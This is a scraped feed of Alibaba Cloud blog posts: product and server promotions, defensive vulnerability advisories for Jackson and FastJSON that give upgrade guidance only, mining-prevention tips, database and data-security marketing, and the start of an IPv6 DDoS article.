        指挥设备集成在一个会议平板中,让会议室更简

        • · 网络直播设备

        • · 指挥设备一体化

        ¥3498.00/起

        立即购买

        0571-26883303


        云投屏

        双投屏远程会议共享演示

        • · 实现双屏投屏

        • · 个性化定制



        ¥1200.00/起

        立即购买

        0571-26883303

         智能零售 


        24H自助售药机

        24H自助售药机解决方案

        • · 安装方便

        • · 实现药店24h营业



        ¥47300.00/起

        立即购买

        0571-26883303


        小眯眼摄像头

        远程视频监控解决方案

        • · 天猫精灵可控制

        • · 安装便捷



        ¥136.00/起

        立即购买

        0571-26883303


        小白智能摄像机

        移动侦测主动报警、360°监控视角、双向语音通话

        • · 主动报警

        • · 双向语言通话



        ¥169.00

        立即购买

        0571-26883303


        互动营销一体机

        人脸识别能力的AI互动平台

        • · 人脸识别

        • · 互动营销

        ¥6700.00/起

        立即购买

        0571-26883303


        仓库猫

        仓库监控防火防盗防水

        • · 实时监测

        • · 部署灵活



        ¥4999.00/起

        立即购买

        0571-26883303


        守护精灵安防套包

        守护精灵安防套装解决方案

        • · 遥感监控

        • · 轻松扩容



        1488.00/起

        立即购买

        0571-26883303

         智能园区 


        多媒体信息发布云平台

        支持室内、室外的各种大屏的多媒体信息发布

        • · 支持室内外大屏

        • · 可视化编辑

        ¥796.00/起

        立即购买

        0571-26883303


        技术工程项目管理平台

        提高生产效率、决策能力,实现工地智慧化管理

        • · 工地智能化管理

        • · 提升管理效率

        ¥20000.00/起

        立即购买

        0571-26883303


        OneBOX河湖监管

        河湖监管云服务解决方案

        • · 多种部署方式

        • · 多种场景供电方案



        ¥2500.00/起

        立即购买

        0571-26883303


        智慧停车管理系统

        实现真正的停车场无人化值守停车、收费

        • ·无人化值守

        • ·智能化收费

        ¥37287.70/起

        立即购买

        0571-26883303

         综合 


        温湿度气压计

        超低功耗,超长待机

        • · 支持Lora

        • · 超长待机



        ¥299.00

        立即购买

        0571-26883303


        智能门磁

        一键布防 30秒安装 实时监测室内安防状态

        • · 一键布防

        • · 快速安装



        ¥216.00

        立即购买

        0571-26883303


        阿里云IoT环境数据采集杆

        监测环境数据,随时随地查看监测数据

        • · 多种环境数据监测

        • · 随时查看监测数据



        ¥12980.00

        立即购买

        0571-26883303


        智慧班牌公话版

        校园教务管理和信息展示的智慧平台

        • ·方便易用

        • · 高度个性化

        ¥6020.00/个起

        立即购买

        0571-26883303


        智慧班牌标准版

        校园教务管理和信息展示的智慧平台

        • · 方便易用

        • · 高度个性化

        ¥5320.00/个起

        立即购买

        0571-26883303


        快货运小黑卡

        小黑卡货物跟踪溯源解决方案

        • · 智能追货

        • · 全程可视

        ¥20000.00/起

        立即购买

        0571-26883303

        ]]>
        阿里云爆款云主机3折上线 Fri, 02 May 2025 09:39:04 +0800 阿里云优惠爆款云主机3折上线

        上云入门级产品,适合个人及中小企业建站、简单应用等需求,限时3年3折

        ECS突发性能型t5

        高性价比之选,适合入门级用户,低负载应用 10%基准CPU计算性能

        1核1G

        1~10M

        可选带宽

        40G

        高效云盘

        1年付、2年付5折

        3年付3折

        活动价

        313.20/年起

        ¥313.20/年

        立即购买

        ECS共享型xn4

        更优价格 适用于个人开发者和小型网站

        1核1G

        1~10M

        可选带宽

        40G

        高效云盘

        1年付、2年付5折

        3年付3折

        活动价

        478.20/年起

        ¥478.20/年

        立即购买

        ECS计算网络增强型sn1ne

        CPU与内存配比1:2 适用于各类计算密集型应用

        2核4G

        1~10M

        可选带宽

        40G

        高效云盘

        1年付、2年付5折

        3年付3折

        活动价

        1390.20/年起

        ¥1390.20/年

        立即购买

        ECS通用网络增强型sn2ne

        CPU与内存配比1:4 适用于各类通用应用

        2核8G

        1~10M

        可选带宽

        40G

        高效云盘

        1年付、2年付5折

        3年付3折

        活动价

        1924.20/年起

        ¥1924.20/年

        立即购买

        主机进阶

        性能更优,配置灵活选择,性价比更高

        ECS计算型c5

        支持IPv6,适用Web前端服务器,大型多人在线游戏(MMO)前端

        2核4G

        1~10M

        可选带宽

        40G

        SSD/高效云盘

        一年付、两年付享5折

        活动价

        1282.20/年起

        ¥1282.20/年

        立即购买

        ECS通用型g5

        支持IPv6,CPU与内存配比为1:4,适用于均衡性能场景

        2核8G

        1~10M

        可选带宽

        40G

        SSD/高效云盘

        一年付、两年付享5折

        活动价

        1738.20/年起

        ¥1738.20/年

        立即购买

        ECS内存型r5

        支持IPv6,CPU与内存配比1:8,适合内存密集型应用场景

        2核16G

        1~10M

        可选带宽

        40G

        SSD/高效云盘

        一年付、两年付享5折

        活动价

        2164.20/年起

        ¥2164.20/年

        立即购买

        ECS内存网络增强型se1ne

        支持IPv6,适用于高性能数据库、内存数据库,数据分析与挖掘

        2核16G

        1~10M

        可选带宽

        40G

        SSD/高效云盘

        一年付、两年付享5折

        活动价

        2404.20/年起

        ¥2404.20/年

        立即购买

        建站必选

        可视化控制面板,预装网站环境

        独享云虚拟主机 基础版

        适用于入门建站用户 预装网站环境独立IP,高访问速度

        1核1G基础版

        5M峰值带宽

        3.5折起

        基础版

        包年6折

        高级版

        低至3.5折

        限购1台

        活动价

        206.00/年起

        ¥382.00/年

        立即购买

        独享云虚拟主机 高级版

        适用于入门建站用户 预装网站环境独立IP,高访问速度

        1核2G 高级版

        15M峰值带宽

        3.5折起

        基础版

        包年6折

        高级版

        低至3.5折

        限购1台

        活动价

        828.00/年起

        ¥552.00/年

        立即购买

        轻量应用服务器 基础版

        一键上云,可视化面板 适用于个人用户建站或企业网站搭建

        1核1G

        3Mbps

        40G起

        SSD

        500G起

        免费流量

        限1台

        两年付享3.5折

        活动价

        1197.00/3年起

        ¥2223.00/3年

        立即购买

        轻量应用服务器 通用版

        一键上云,可视化面板 适用于个人用户建站或企业网站搭建

        1核2G

        5Mbps

        40G起

        SSD

        500G起

        免费流量

        限1台

        两年付享3.5折

        活动价

        609.00/年起

        ¥1131.00/年

        立即购买

        海外人群

        香港、美国、新加坡节点任选

        ECS突发性能型t5

        高性价比之选,适合入门级用户,低负载应用 10%基准CPU计算性能

        1核1G

        1~10M

        可选带宽

        40G

        高效云盘

        1年付、2年付5折

        3年付3折

        活动价

        486.00/年起

        ¥486.00/年

        立即购买

        云服务器ECS计算型c5

        CPU与内存配比为1:2 适用于计算密集型场景

        2核4G

        1~10M

        可选带宽

        40G

        高效云盘

        一年付、两年付享5折

        活动价

        2022.00/年起

        ¥2022.00/年

        立即购买

        轻量应用服务器(香港)

        一键启动应用 适用中小企业建站需求 适合低要求的网站环境

        1核1G

        30M峰值带宽

        40G起

        SSD

        30M

        峰值带宽

        活动价

        288.00/年起

        立即购买

        独享云虚拟主机(香港)

        适用于入门建站用户 预装网站环境独立IP,高访问速度

        1核1G 经济版

        1M带宽

        最高100G

        网页空间

        最高1G

        数据库

        活动价

        298.00/年起

        立即购买

        其它商品

        短信套餐包基础版

        支持国内验证码、短信通知和推广短信

        1.5万条

        0.036元/条

        国内短信三网合一专属通道

        秒级可达,99%到达率

        新用户限时抢

        活动价

        540.00/2年起

        ¥120.00/2年

        立即购买

        【心选】网站建设

        一站式建站,1对1 VIP服务,省心省力,618大促享3重优惠

        精美模板 - 云·速成美站

        PC站+手机站+公众号+小程序

        标配阿里云空间,会打字就会建网站

        活动价

        500.00/年起

        ¥198.00/年

        立即购买

        云数据库MySQL

        全球最受欢迎的开源数据库之一 高安全等级,高稳定,5倍性能提升

        1核1G 基础版

        高安全等级,保证数据库安全性

        多种部署架构,满足多类可用性要求

        阿里云专家多年运维经验产品化,免去90%运维烦恼

        包年立享7.5折

        活动价

        624.60/年起

        ¥208.20/年

        立即购买

        对象存储OSS

        适合图片/音视频等多媒体数据存储,数据实时处理,海量存储无上限

        OSS标准型存储包

        500GB

        深度集成数据处理服务

        生命周期管理降低成本

        限时7.5折抢购

        活动价

        486.00/年起

        ¥162.00/年

        立即购买

        活动规则

        一、活动对象


        阿里云官网已实名认证的注册会员用户。


        二、活动时间


        2019年7月1日至2020年3月31日(大型活动期间如有调整,以届时活动页面展示为准)。


        三、活动规则


        1、活动期间,用户通过本活动页面购买指定云产品,可享受相应的优惠折扣(以页面展示为准)。


        2、活动期间,ECS首购用户可享受3个月7.5折、1年付2年付5折的优惠活动,同一用户就单类产品可享受的活动优惠仅限1单,限购3台


        ]]>
        阿里云19年8月特惠-云服务器限时2折 Fri, 02 May 2025 09:39:04 +0800 阿里云19年8月特惠-云服务器限时2折


        ECS云服务器,3年付仅3折,17元/月起

        实名认证 后新老用户首次购买ECS,均可享受1-3年价格优惠,每人限购1单,限量3台。 详细规则

        入门级配置 适用于web应用前端机、轻负载应用、微服务、开发测试等场景

        突发性能t5实例(10%性能基线)

        1核1G 40G系统盘

         1年 
         504

         2年 
         907.2

         3年 
         907.2

        突发性能t5实例(10%性能基线)

        1核2G 40G系统盘

         1年 
         648

         2年 
         1166.4

         3年 
         1166.4

        突发性能t5实例(15%性能基线)

        2核4G 40G系统盘

         1年 
         936

         2年 
         1684.8

         3年 
         1684.8

        性能均衡配置 适合小型 Web 应用、中小型数据等各行业通用计算应用场景

        共享型n4实例

        1核2G 40G系统盘

         1年 
         864

         2年 
         1555.2

         3年 
         1555.2

        共享型n4实例

        2核4G 40G系统盘

         1年 
         1584

         2年 
         2851.2

         3年 
         2851.2

        计算网络增强型实例

        2核4G 40G系统盘

         1年 
         1542

         2年 
         2775.6

         3年 
         2775.6

        计算网络增强型实例

        4核8G 40G系统盘

         1年 
         2724

         2年 
         4903.2

         3年 
         4903.2

        地域

                   华北2              华北1              华东1              华东2              华南1       

        操作系统

                   CentOS 7.4 64位              Ubuntu 14.04 64位              Windows Server 2008              Windows Server 2012       

        带宽

        1M 2M 5M10M

        台数

        1台

        网络类型 VPC专有网络 

        总价:  907.20

        立即购买


        ]]>
        阿里云ECS服务器被挖矿怎么解决 Fri, 02 May 2025 09:39:04 +0800 8月初刚开始,我们发布了2019年服务器被挖矿的整体安全分析报告。该安全报告主要是以我们去年的整一年的安全数据为基础,对这些服务器的被挖矿的整体情况进行了详细的安全分析,为站长以及一些中小企业公司提出了合理的服务器安全防护建议。

        在去年的虚拟币市场中,虽然虚拟币经历了暴跌的情况,但是服务器被挖矿的情况还是持续性的增长趋势,背后是一些攻击者利用服务器的漏洞以及网站漏洞进行入侵服务器,拿到服务器权限,在服务器系统里置入木马后门进行挖矿。

        下面挖矿的安全报告我们来简要的跟大家分享一下:

        去年很多网站系统以及APP应用出现漏洞,PHPCMS 注入漏洞,Thinkphp远程代码执行漏洞,dedecms缓存漏洞,ecshop远程写入漏洞,给整个网络安全带来了很大的危害,关于最新的漏洞利

        用以及如何产生的漏洞,我们对其公开与分享,对网站的漏洞修复以及补丁,及时的告知与相应,让损失降到最低。我们调查分析发现,从网站漏洞被爆出后到修复漏洞的时间约大,一些网站被攻击的状况就越严重,服务器被挖矿的事情就会发生,如果及时的修复漏洞,那么就可以避免被挖矿。

        关于服务器被挖矿的安全部署与防护策略

        服务器被挖矿的情况时有发生,我们要对服务器进行详细的安全部署,对远程登录的端口进行更改,像windows的3389端口,改掉,SSH的22端口也要改掉,管理员的账号密码也要更改为数字+字母+符号+大小写的组合来,避免被暴力猜解。对网站的漏洞进行安全检测,发现漏洞立即进行修复,打补丁。有些网站使用开源的系统,要定期的检查系统是否需要更新。如果使用的阿里云服务器,要经常登录服务器查看阿里云云盾的安全提醒,如果出现webshell安全提示,以及阿里云挖矿提示,挖矿恶意进程等安全提示,要尽快进行处理,如果对安全不是太懂的话,建议找专业的网站安全公司处理,对于一些网站管理员的账号密码,也要加强,数据库mysql,sql2008等数据库的管理员账号密码也要更改,对数据库的端口也要禁止对外。


        阿里云2折服务器➡➡➡点我立即购买

        ]]>
        【漏洞预警】Jackson 最新反序列化漏洞(CVE-2019-14361和CVE-2019-14439) Fri, 02 May 2025 09:39:04 +0800 2019年7月31日,阿里云应急响应中心监测到有安全研究人员披露Jackson最新反序列化远程代码执行漏洞(CVE-2019-14361和CVE-2019-14439),针对CVE-2019-12384漏洞绕过,利用可导致远程执行服务器命令,官方git已发布公告说明,请使用到Jackson的用户尽快升级至安全版本。


        漏洞描述

        近日,Jackson官方github仓库发布安全issue,涉及漏洞CVE-2019-14361和CVE-2019-14439,均为针对CVE-2019-12384漏洞的绕过利用方式,当用户提交一个精心构造的恶意JSON数据到WEB服务器端时,可导致远程任意代码执行。阿里云应急响应中心提醒Jackson用户尽快采取安全措施阻止漏洞攻击。


        风险评级

        CVE-2019-14439 高危

        CVE-2019-14361 高危


        影响版本

        jackson-databind < 2.9.9.2

        jackson-databind < 2.10.0

        jackson-databind < 2.7.9.6

        jackson-databind < 2.8.11.4


        安全版本

        jackson-databind >= 2.9.9.2

        jackson-databind >= 2.10.0

        jackson-databind >= 2.7.9.6

        jackson-databind >= 2.8.11.4


        安全建议

        针对使用到jackson-databind组件的web服务升级jackson相关组件至最新版本,下载链接参考:http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/


        相关链接

        https://github.com/FasterXML/jackson-databind/issues/2389


        云盾漏洞扫描已支持对该漏洞检测

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测





        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话联系反馈。


        阿里云应急响应中心

        2019.7.31


        原文地址:https://help.aliyun.com/noticelist/articleid/1060035134.html?source=5176.11533457&userCode=d4m00na3&type=copy


        ]]>
        FastJSON 远程执行漏洞,速速升级! Fri, 02 May 2025 09:39:04 +0800

        漏洞名称

        FastJSON远程代码执行0day漏洞

        漏洞描述

        利用该0day漏洞,恶意攻击者可以构造攻击请求绕过FastJSON的黑名单策略。例如,攻击者通过精心构造的请求,远程让服务端执行指定命令(以下示例中成功运行计算器程序)。

        影响范围

        FastJSON 1.2.48以下版本

        官方解决方案

        升级至FastJSON最新版本,建议升级至1.2.58版本。

        说明 强烈建议不在本次影响范围内的低版本FastJSON也进行升级。

        升级方法

        您可以通过更新Maven依赖配置,升级FastJSON至最新版本(1.2.58版本)。

        <dependency>
         <groupId>com.alibaba</groupId>
         <artifactId>fastjson</artifactId>
         <version>1.2.58</version></dependency>

        防护建议

        Web应用防火墙的Web攻击防护规则中已默认配置相应规则防护该FastJSON 0day漏洞,启用Web应用防火墙的Web应用攻击防护功能即可。

        说明 如果您的业务使用自定义规则组功能自定义所应用的防护规则,请务必在自定义规则组中添加以下规则:


        ]]>
        刷新多个世界纪录,阿里云飞天大数据平台凭什么成为世界第一? Fri, 02 May 2025 09:39:04 +0800 昨日, 阿里 云继飞天云操作系统后又一款世界级产品—— 阿里 云飞天大数据平台在上海亮相,始伊出现就引爆关注。

        根据公开资料显示,这款中国唯一自主研发的大数据计算引擎集群规模一举超过微软、亚马逊等公司,实现全球第一。单一引擎可将10万台服务器合为一体,单日数据处理量突破600PB,相当于6亿部高清电影。

        此外,过去数年飞天大数据平台还在单集群服务器数量、数据排序速度、基准测试等领域先后刷新多项世界纪录,被称为世界第一。

        回过头看,取得如此耀眼的成绩,既归功于 阿里 云团队10年间对大数据技术的沉淀,更离不开10年前他们抓住了技术革命中的新机遇。

        视野前瞻:10年前开始迎接挑战

        2008年,中国网购用户突破千亿大关,增长率达到185%,作为头部企业 淘宝 年交易额逼近千亿,涨幅亦高达131%。迎接喜讯的 阿里巴巴 同时也感受到“脑力”不够用,比其它公司更早地遇到互联网规模化带来的挑战——传统软件无法承载。

        当时的 阿里巴巴 和全球大多数公司一样运用基于Oracle的数据库,整体计算规模已经超过数百TB,对算力的要求濒临Oracle集群的极限,系统很快就无法支持业务正常增长了,把数据转移到规模更大的处理平台成为他们2008年的当务之急。

        除了Oracle,Greenplum、Hadoop都进入过 阿里 的思考方案,但这些框架平台只能解燃眉之急,无法长远适应 阿里巴巴 当时高速成长的发展策略,如果使用第三方框架未来必将还会面临更大的困境。

        同年8月,曾在微软亚洲研究院任职的王坚博士带着解决大规模算力瓶颈的任务加入 阿里 。他根据自己的经验迅速做出判断:无论是Oracle还是Greenplum、Hadoop,都不是大规模数据计算的最优解, 阿里 必须自研一套大数据处理平台才能以绝后患。

        由此,第二年 阿里 云在 阿里 内部经过无数次商讨后正式成立,这场关于大数据的技术长征正式拉开帷幕。

        后来任职 阿里巴巴 集团首席技术官的王坚解释,“从战略上来说, 阿里 云想做的事情实际上可以解读为Amazon+Google并有所超越。将单一集群做到数千乃至更高,技术上是国家和企业竞争力的标志。 阿里巴巴 必须攻克这道难关。”

        技术领先:解决世界级算力难题

        从2009年启动项目, 阿里 云沉默了4年,4年间饱受争议。

        自研云计算胜算几何?还要投入多少才能看见成果?成果是否稳定?对于“飞天”计划不计人力、资金的研发投入,公司内部和外界的质疑连绵不绝。

        2013年8月15日,他们才第一次向外界展示成果。 阿里 云历史性地突破了同一个集群内5000台服务器同时计算的局限,为未来的大规模服务奠定基础,也使得 阿里 成为全世界第一家能对外提供5K云计算服务的科技公司。

        时至今日,在杭州云栖小镇上仍竖立着一尊飞天的纪念碑,雕刻着参与解决5K相关技术研发工作人员的大名。

        6年后的今天, 阿里 云飞天大数据平台多集群规模已超过10万台,在全球范围内能其与并肩的企业也不过寥寥几家。

        凭借这套技术, 阿里 不仅解决了自己的算术难题,也进入各行各业,为大量有大数据处理需求的企业提供优质服务。为了应对不同的客户,他们要面临海量的数据。除了数据量的激增,不同行业数据类型丰富多样,如结构化数据、非结构化数据等,都给大数据计算平台带来新的挑战。

        这些挑战也倒逼着团队交出更好的成绩:

        2015、2016年, 阿里 云刷新世界计算奥运会之称的SortBenchmark六项世界纪录;

        2017年,完成全球首次基于公共云的100TB BigBench大数据基准测试。

        记录被不断刷新,并且得到了权威机构的认可:在Forrester发布的《The Forrester WaveTM: CloudData Warehouse, Q4 2018》中, 阿里 云MaxCompute、DataWorks、ADB等三款产品成功入选,并在产品功能(Current Offering)方面力压微软。

        在单日数据处理量上也从2015年100PB,2016年180PB,到2017年320PB,再到2018年的单日处理超过600PB,不断攀升。

        另外,在核心产品和技术的优化与创新上,他们也没有停歇。

        2019年1月, 阿里 首款大规模分布式科学计算引擎Mars开源,突破科学计算领域的规模瓶颈,极大提升了科学计算的计算规模和效率。

        2017年10月,进行了全球首次基于公共云的bigbench大数据基准测试,数据规模被拓展到100TB,并成为首个突破7000分的引擎,性能达到 7830QPM。

        2018年9月,性能较2017年10月提升一倍多,达到18176.71QPM。另外,在超小型10TB规模的指标上,与其他开源竞品进行了比对分析,性能超过开源竞品3倍。

        稳定落地:业务应用世界领先

        攻克算术瓶颈王坚团队用了4年,将其继续延展不断商业化 阿里 云用了10年,到现在阿里 云飞天大数据平台已和水电煤一样成为不少公司必不可少的基础设备。

         阿里 内部,飞天大数据平台作为主力计算平台支撑着这个商业“巨无霸”几乎所有的计算。每天有超过14000名 阿里巴巴 内部的开发者在这一平台上进行开发,超过600万个作业在该平台上运行,几乎支撑起整个 阿里 经济体。

        在去年的双11狂欢节中,飞天大数据平台单日数据处理超过600PB,同时平稳支撑电商混布单元在线流量洪峰12万笔/s交易,稳定承载45%导购流量,顺利完成1200台DB业务混部的目标,为双11交易峰值提供了有力保障和平滑支撑。

        在交通领域,城市大脑在杭州实时指挥1300个红绿灯路口、200多名交警。从2016年到2018年,杭州从全国最拥堵城市排行榜上下跌52名。

        在工业领域, 阿里 云的大数据处理技术帮助制造企业寻找上千个参数的最优搭配,提升制造的良品率。协鑫光伏、天合光能等行业龙头企业,都在尝试这一全新的生产模式。

        在政务领域,浙江最多跑一次通过大数据处理平台打通政务数据,将与老百姓办事最密切相关的100个事项70多亿条数据,按照统一标准汇入统一的数据仓,实现共通共享共用。老百姓办事不仅能最多跑一次,甚至有可能一次都不跑。

        而在海外,其也已进入新加坡、欧洲等市场,将这一技术服务提供给更多用户。

        结语

        作为以解决 阿里巴巴 客户发展问题为初心研发的产品,飞天大数据平台用了10年时间开花结果,不仅攻克了公司内部的瓶颈,也解决了广大中小企业普遍性的问题、带来了开创新的成果。这种从需求出发倒逼技术进步,并进而对外服务的研发道路,让外界对阿里 云飞天大数据平台的下一个10年亦充满期待。


        ]]>
        长脸了!阿里云这位英雄拿下了世界第一 Fri, 02 May 2025 09:39:04 +0800 阿里云数据库又被顶级机构点名了!

        近日,全球最知名的数据管理系统评测标准化TPC组织公布了数据库领域分析性能基准测试最新排名,阿里云超大规模分析型数据库AnalyticDB登上榜首,是全球首个通过TPC严格审计认证的云数据库产品。

        简单来说,AnalyticDB是一款可以对数据进行在线统计和分析的数据库,帮助企业简单快速实时挖掘数据价值。登上TPC榜首,意味着其已经成为全球最快的实时数据仓库!

        目前,阿里云已经拥有国内最丰富的云数据库产品,AnalyticDB只是其中之一。

        在多个数据库细分领域,阿里云已经实现了业界领先,并且已经集齐了一套最强阵容:

        01

        在新零售场景中,数据分析师做市场趋势分析、业务在做广告投放时,都需要在PB级数据上依据不断变化的业务模型做分析探索,对业务发展方向进行决策。

        而这就需要分析型数据库AnalyticDB的能力了,目前这款产品已经成为全球最快的实时数据仓库,在复杂分析场景中性能提升10倍,万亿数据多维分析仅需毫秒级。

        02

        例如面对互联网大规模流量场景,阿里云拥有国内首款云原生数据库POLARDB,它最大的特点就是拥有极强的弹性能力,能大能小,解决了传统数据库昂贵、扩展性差、技术复杂、迭代慢的瓶颈。

        技术方面,也采用了多个领先技术:容器虚拟化技术、存储与计算分离、共享分布式块存储技术,企业只需5分钟即可实现缩扩容,计算能力最高可扩展至1000核,存储容量最高可达100TB。被认为是云时代企业数据库的最佳选择。

        03

        还有一类是擅长多度关系数据查询的。在金融欺诈检测场景中,图数据库可快速通过贷款联系人(或者联系人的联系人)信用信息,对用户进行信用评分,如果评分较低,则拒绝贷款或者提升利率。

        阿里云GDB就具备这样的能力,GDB是国内首个云原生图数据库,可以对高度互连的数据集进行深度优化,用最短代码实现多度关系数据的查询与存储,提升查询效率10倍以上,查询时间降低至毫秒级。

        04

        作为阿里云最早的云数据库产品,RDS已经成长为业界功能最丰富的数据库,支持MySQL、SQL Server、PostgreSQL 、MariaDB等主流数据库,可以满足不同场景的需求。

        05

        传统数据库要上云,最关键的一步是保障数据库高效可靠地迁移。因为数据库承载着企业核心业务,但传统的数据库迁移工具要求数据库在迁移中必须停服,极大影响业务。

        阿里云数据传输服务DTS大幅提升了数据库上云的速度,其最大的特点是采用分布式并发架构、智能分片、并行抓取技术,数据迁移最快可达100Mb/S,支持18种数据源,百PB级数据迁移业界最快。

        大家不妨脑洞一下,看完这五款数据库产品,你想到了什么超级英雄?


        ]]>
        阿里云云盘支持在线扩容 Fri, 02 May 2025 09:39:04 +0800 1.云盘在线扩容介绍

         阿里云支持针对正在使用中(running状态)的云盘进行在线扩容,用户无需重启(reboot instance)实例即可完成物理空间扩容。

        2.云盘在线扩容操作演示

         您可以通过控制台或者API方式完成在线kuo扩容。如下演示用如何通过控制台完成在线扩容。若您使用API方式,请使用ResizeDisk命令完成。

        2.1Step1:准备工作

        • 为了扩容过程中操作失败导致数据丢失,强烈建议您在扩容之前“创建快照

        • 当前在线扩容支持所有的Region,但仅支持“高效云盘”、“SSD云盘”以及“普通云盘”,暂不支持ESSD云盘

        • 云盘在线扩容仅是扩展云盘物理空间,并不调整分区以及文件系统的大小。因此完成“云盘在线扩容”后,需根据实际情况扩展磁盘分区以及文件系统

        • MBR格式分区不支持大于2 TiB的云盘容量。如果待扩容的云盘采用的是MBR分区格式,且需要扩容到超过2 TiB时,建议您重新创建并挂载一块数据盘,然后使用GPT分区方式并将数据拷贝至新数据盘中

        • 对于Windows实例,仅支持NTFS文件系统扩容

        2.2Step2:线扩容操作

        1. 登录ECS控制台

        2. 在左侧导航栏,选择存储与快照 > 云盘

          为了防止扩容中操作失败,强烈建议您在操作“云盘在线扩容”之前,针对待扩容的云盘创建快照
        3. 找到需要扩容的云盘,在操作列表中选择 更多 > 磁盘扩容

        4. 勾选“在线扩容”,如下图所示:

        5. 设置扩容后的容量(最大支持6144GB),变更后的容量不允许小于当前容量

        6. 完成支付

        2.3Step:扩容分区&文件系统

        详细操作步骤请参考:“在线扩容云盘


        ]]>
        奉上一份云上数据安全保护指南 Fri, 02 May 2025 09:39:04 +0800 38b9dc9673037ff0b60198c86801d539bd819520

        阿里云资深安全专家黄瑞瑞

        本方案的目标是为用户提供从底层云平台数据安全到上层的云上环境保护,并标明各层次模块,让用户可以像建房子一样,一层层的搭建可信的在云上数据的安全保护。在各横向层次模块之外,云上数据安全也需要纵向的认证、授权、访问控制和日志审计功能,从而为客户提供可控和合规的云上数据安全保护方案。

        35f784dcb6173e8c9fad251d38da804a63b76dc9

        云上数据保护方案

        整体而言,云上的数据安全保护方案需要做到三点原则:可信、可控、合规。换言之,只有在可信和可控的云上环境中,提供合规的数据安全保护方案才能真正做到为客户提供最顶级的数据保护。会上,黄瑞瑞针对这三点原则做出了针对性的技术介绍和讨论。

        阿里云在云平台层面为客户提供默认高安全等级的基础设施能力,使客户可以放心的将数据存放和计算在可信的云平台上。值得特别指出的是,阿里云在云平台层面会对硬件和固件的安全进行加固和扫描,并使用TPM2.0技术来提供可信的度量和证明云平台底层的安全计算环境。同时阿里云具备基于硬件加密机(HSM)和芯片级别(SGX )的安全计算能力。

        c1c05ee96749e3320db00ad76198563a48f1f101

        阿里云基础设施安全能力

        在云产品层面,数据安全主要体现在云产品提供可信的数据加密能力、备份能力和校验能力。会上,黄瑞瑞对于云产品的加密能力进行了针对性的讲解,并向参会嘉宾特别介绍了阿里云的全链路加密能力。全链路加密顾名思义是指针对数据加密在传输链路,以及计算和存储节点提供对应的业界高级别加密能力。传输加密主要依赖SSL/TLS加密并提供AES256强度的加密保护。计算节点中阿里云在2017年即开始提供芯片级SGX加密计算环境(在提供SGX能力的云厂商中,阿里云为亚洲第一、世界第二提供此能力的厂商)。在存储加密环节,阿里云不但能提供高强度(AES256)的数据落盘加密能力,更通过密钥管理服务(KMS)提供用户自带密钥(BYOK)功能。联合KMS密钥管理,阿里云可以为用户提供全链路的数据加密保护。

        cfec8124e80dd6f5cb5e38ff241274b8a2225d89

        数据全链路加密

        整体来说,数据加密操作流程是明文数据经由国际国内公认的安全算法计算得出数据密文。在加密操作中,被安全保护和管理的密钥是加密保护的充分而必要的条件。换言之,控制了密钥,也就控制了整体加密操作的主动权。早在2015年阿里云就在业内首个发起“数据保护倡议”,并在倡议中明确用户数据所有权归属用户,云计算平台不得擅自移作它用。因此,用户自带密钥(BYOK)功能是阿里云致力于保护用户隐私和将数据控制权进一步交给客户的重要技术手段。由于用户自带主密钥为用户资源,而任何调用需通过用户授权(通过阿里云RAM服务),用户对于加密后数据的使用有了完全自主的控制权和主动权。同时,任何对于用户资源的调用都会在日志审计中完整的显示出来,因此加密后数据的云上使用透明性也有了更好的保障。

        f325f211e6052f79733d2026938e0d7579a86a7e

        在云上数据安全保护层面,黄瑞瑞提出了敏感数据保护的三个技术点,包括分类分级(敏感数据鉴别)、访问控制和防泄漏能力。在分类分级技术点中,今天的正态规则引擎虽然能识别规则的敏感数据格式,但针对日益严格的用户隐私保护需求和法律法规,人工智能(AI)引擎也必须被高效的利用起来。今天的AI引擎可以和规则引擎相配合,利用规则引擎的低误报率来降低其误报率并在规则引擎的基础上提供更加智能的数据鉴别能力。当敏感数据被鉴别出来后,云服务应当提供细粒度的访问控制,尤其应提供在用户属性基础上针对数据本身敏感属性的访问控制能力。最后,敏感数据的防泄漏能力必须在网络、终端和应用各个层面完整的提供。整体而言,云上数据安全保护应当提供从鉴别数据、控制数据访问和防止泄露能力上提供全面的保护。

        1f17e2e802f3238c815bd820d7ec21e3a00cb4cb

        敏感数据保护的三个技术点

        在阿里云提供了可信和可控的数据保护技术手段的前提下,更进一步获得了中国和国际上的各大权威合规认证。目前阿里云已经成为合规资质最全的亚太云服务提供商,是亚太首家获得德国C5和ISO27001认证的企业,中国首家获得MTCS Level3和ISO 20000认证的企业,并为世界互联网大会、G20峰会、“一带一路”高峰论坛等多个国际重大活动,提供高等级网络安全护航。

        5c0cb154e34e25a0f1fc98d0c86dfeb48ec05d94

        阿里云获得的合规认证

        阿里云的安全使命是将云上安全做到极致,提供更坚固,更强壮的安全能力给用户坚实的后盾,解放用户使其能专注本身的业务问题。尤其在数据保护层面,必须为用户提供最有力的全面安全保护能力。“我们的目标是当用户考虑上云时,不再考虑由于安全能否上云,而是确认正是因为安全而必须上云。”黄瑞瑞最后表示。


        ]]>
        如果全球的沙子都对你发起DDoS攻击,如何破? Fri, 02 May 2025 09:39:04 +0800 IPv6已来

        2016年6月1日开始,苹果规定所有提交至AppStore的应用必须兼容IPv6-only标准。可以预计,2018年底会有大量互联网资源、上网用户使用IPv6协议。这意味着,如果一个互联网服务不能支持IPv6,将失去大量用户流量。

        2017年底,中共中央办公厅、国务院办公厅印发了《推进互联网协议第六版(IPv6)规模部署行动计划》,要求到2018年末,IPv6活跃用户数达到2亿,并要求国内用户量排名前50位的商业网站及应用支持IPv6。IPv6成为国家战略。

        随着IPv6时代的到来,IPv6网络下的攻击开始出现。2018年初,Neustar宣称受到了IPv6DDoS攻击,这是首个对外公开的IPv6 DDoS攻击事件。thc-ipv6、hping等IPv6的DDoS攻击工具也开始在互联网上出现。

        2018年11月,淘宝、优酷的双十一首次跑在IPv6上。同时,阿里云云盾建成国内首家IPv6 DDoS防御系统,支持秒级监控、防御海量IP,为淘宝、优酷云上业务提供IPv4+IPv6双栈DDoS自动防护。双11期间,双栈防御系统拦截5000多次DDoS攻击,最大攻击流量达到397Gpbs。

        IPv6时代,网络安全面临新的挑战

        虽然IPv4下的防御系统已经非常成熟,但系统并不能直接用于IPv6防护,需要全链路重构支持IPv6。从流量监控、调度、清洗、黑洞都需要重新适应IPv6的新网络环境。此外,由于IPv6协议的新特性,可能会被黑客用于DDoS或DoS攻击:

